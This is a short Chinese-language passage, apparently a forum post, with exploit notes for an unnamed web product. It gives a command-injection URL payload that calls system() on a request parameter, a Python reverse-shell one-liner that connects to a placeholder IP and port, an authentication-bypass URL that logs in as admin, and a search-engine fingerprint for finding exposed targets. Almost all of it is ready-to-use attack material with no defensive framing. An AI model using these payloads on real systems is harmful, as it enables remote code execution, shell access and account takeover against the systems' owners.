payload:https://127.0.0.1/tool/log/c.php?strip_slashes=system&host=ls
反弹 shell 的话,bash 是不好使的,可以使用 python,系统有 python 和 nc。
使用 python 反弹 shell:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
任意用户登陆
payload: 127.0.0.1/ui/index.php?user=admin
关键字搜索:body="Google Tag Manager 测试容器“
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于